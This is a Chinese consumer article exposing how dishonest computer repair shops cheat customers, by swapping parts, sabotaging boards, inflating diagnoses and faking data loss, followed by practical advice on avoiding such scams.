“狸猫换太子”还会出现在同样是黑屏的情况下,这时虽然确实有坏掉的配件,但用户不愿意花那么多钱来修,想搬别的地儿再看看,货比三家么对不对?黑心维修点是不可能轻易放过你的,都进来了,想全身而退?哼哼……狸猫换太子法有一个共同特点,就是基本都作用在黑屏的电脑上,这是因为买来的坏件通常都是彻底不能用的,如果不是黑屏就无法互换,这种故障现象的消费者要格外注意。相 比于“狸猫换太子”,少数维修点还有一招更黑的。我们知道维修板卡的收费通常都分成若干档次,不同的维修档次收费不同,修不好当然不能收钱(能修好客户不 修例外,有些大型店要收检测费)。所以用户送去维修的板卡,经过检测以后可以报价的,肯定都是能修好的,而且我要透露个秘密给大家,这时候很多都在检测过 程已经修好了,但是不能跟客户说就是了。这个时候报价给客户,都是在维修人员心有成竹的时候,关键就看用户掏不掏钱了,
如果掏钱当然一切妥当,如 果用户嫌贵不愿意修,维修店难道白白把修好的板卡送出门?这当然是不行的,因此通常维修点都会把板卡重新弄坏,这里面的“弄坏”就有学问了,讲良心的维修 点通常会给对方恢复原状,自己自认倒霉白忙活一阵,黑心的维修业者,或者因为嫌麻烦,比如把弄好的各个焊点再开焊,把换上去的好元件再换下来,或者因为自 己损失了时间和精力,甚至出于报复心理,会把板卡彻底弄坏,谁叫你不让我修!老子是你耍得吗?让你也好受不了。
如 何把一片板卡彻底弄坏而表面上还看不出来,这在行业内有很多种黑手法,我在采写过程中就亲眼看见过一种:把一片主板用力撅成弧形,听到里面的焊点“噼噼啪 啪”开裂声,松手后主板虽然恢复“原状”,但是已经报销了。如果说“狸猫换太子”是损人利己,那么这一招是纯损人,不利己,咱们不妨叫它做“玉石俱焚” (好像有点褒奖的意味了?……小编的文学修养确实不行啊)刚才说到的是因为修好了客户不付钱 而导致产品被弄坏,更可恶的是少数水平差心肠黑的维修点,产品修不好,他们也会把板卡完全毁坏,这种人的混帐逻辑是,我这里修不好的东西,你到别人那儿给 修好了,这能行么?这不是给我难看么?所以进了这种地方的板卡,只要没修好,拿出来就别想再修了。
[维修成本雾里看花]
除 了换件和弄坏,再有一种就是虚报、夸大问题,这恐怕是最常见也最被大家所痛恨的方式了,明明实际上很小的问题,到了黑心维修点手里经过检测,就变成了很大 的问题,需要花大把银子去修;明明很简单就能排除的故障,非得给你从前到后换一个遍,大把银子掏出去才能修好。这也罢了,更差劲的是换上去的零件往往图便 宜质量不过关,维修、焊接技术往往粗糙的要命,虽然当时看着修好了,但实际上板卡质量大大打了折扣,过不了多久电感烧毁、电容爆浆、焊点开焊全出来了,还 得回去再受罪。举个例子,某知名日本品牌笔记本用户,花一万多元买的笔记本坏了,拿到特约维 修点,检测后说是主板损坏,换一块要花四千九(比五千还少一百,呵呵,看来维修人员也学过心理学),机主一听吓坏了,赶紧拿出来换了一家私人维修点,重新 检测了一阵,说是主板通过各种高科技仪器能修好,要600块,机主高兴坏了赶紧签单不一会儿修好了兴高采烈付了钱抱机器走了,其实只是换了一颗主板上的电 池。再比如,笔记本的液晶屏不亮了,用户急坏了马上拿到维修点去修,维修点热情接待手脚麻利 迅速检测完毕:液晶屏坏,需换屏,费用在4000元左右。用户这叫一个难受,换吧,4000多块大洋,不换?上万的笔记本就歇了。左思右想只好万般不情愿 的拿出一大笔银子,换了屏走了。其实笔记本屏的问题是多种多样的,比如背光灯管坏了,就会造成不亮,虽然液晶屏幕本身没问题,而灯管是可以换的;再比如笔 记本液晶屏的信号线和电源线(简称屏线)都是通过合页从底座进入上盖,合页本身比较脆弱,而且经常开合,遇到外力磕碰或者挤压就容易造成屏线断裂,从而使 得液晶屏黑屏。
[谨防维修黑手]
虚 报夸大到了极致,就变成“有故障要修,没故障创造故障也要修”。放在黑心维修点检测的电脑,往往是小问题被检测成大问题,没问题被检测成有问题,总之不赚 一笔是不会放你走的。这种手法可叫做“无中生有”。这类欺骗消费者的方法其中有一种需要特别加以注意,送修的机器往往被检测出硬盘有坏道数据全部或者大部 分丢失,需要做数据恢复,收费少则数百元多则数千元。用户觉得太贵,换到别家试试,发现别家确实也检测出来同样的故障,但却无法修复。用户大惑不解之下, 心有不甘的拿回到黑心维修点付了高额恢复费,数据果然全部恢复了!这是怎么回事?说穿了一钱不值,黑心维修点先把数据拷贝出来,然后用某种方法把硬盘轰出 一些坏道或者逻辑错误,然后,就可以正大光明骗钱了!这一招的猥亵之处还在于,除了他没人能解决这个问题。见 识了一些常见的骗钱手段,我们现在再来看看如何防止这种情况的发生。原则就是,你对产品了解越深刻,被骗的可能性就越小,反之就越大,菜鸟是最容易被骗 的。产品送修前,一定要排除软件方面的故障,比如中了病毒或者木马,造成系统死机、不稳定,主板或者显卡bios刷新失败会使得电脑黑屏,此时可通过热插 拔法或者盲操作法将问题恢复,相关操作方法网站上和各类电脑杂志多有介绍,这些都是DIYer自己动手能够解决的故障,实在解决不了要到维修点换 bios,说得清清楚楚也能避免被忽悠。除了软件问题,还要考察是否因为环境问题造成电脑故障,比如电源插线板、电源线接触不良造成的频繁重起动;电网电 压不稳造成电脑死机(电压过低会造成死机,电脑过高和电涌会造成部件损坏)、操作环境灰尘太多造成的电脑不稳定,通常可通过清洁内部消除短路和断路来解 决。总之,一切能用上的手段都应该用上,按照统计,这样能解决电脑故障中的大部分,只有少部分是用户确实无法解决,需要专业维修的。电 脑故障确实属于送修范围,就应该精心挑选维修点。这时的原则是,对于保修期内产品,一定要送到厂商维修点或者特约维修点;对于保修期外产品和无保修的产品 (一些水货),不要选择厂商维修点或特约维修点(除非你很有钱),而应该挑选一家信誉好、技术高的商业维修点。如果不知道维修点的情况,但还是必须送修的 话,那么送修的时候,最好把自己产品主要部件(cpu、主板、内存、硬盘等)的详细规格和编号列表记录清楚同 时给维修点看,或者让对方收机的时候签字确认,如果可能的话,应该把硬盘事先取下来,把故障现象详细写明,并写明排除故障的各种努力,同时把已经排出的问 题也都附上,让维修点知道你对情况很清楚了解,如果能有很懂行的人陪同去维修点就更好。尽量找透明开放操作的维修点,有可能的话最好做立即检测而不是存放 后几天内通知,检测阶段最好全程仔细参观,各个关键步骤不懂的话随时发问,不要怕招人烦,毕竟不被骗要紧。总之,只要细心大胆,不盲从不迷信,遇到问题多 问多想,一定可以把被骗的机会减少到最低的。

Read: 819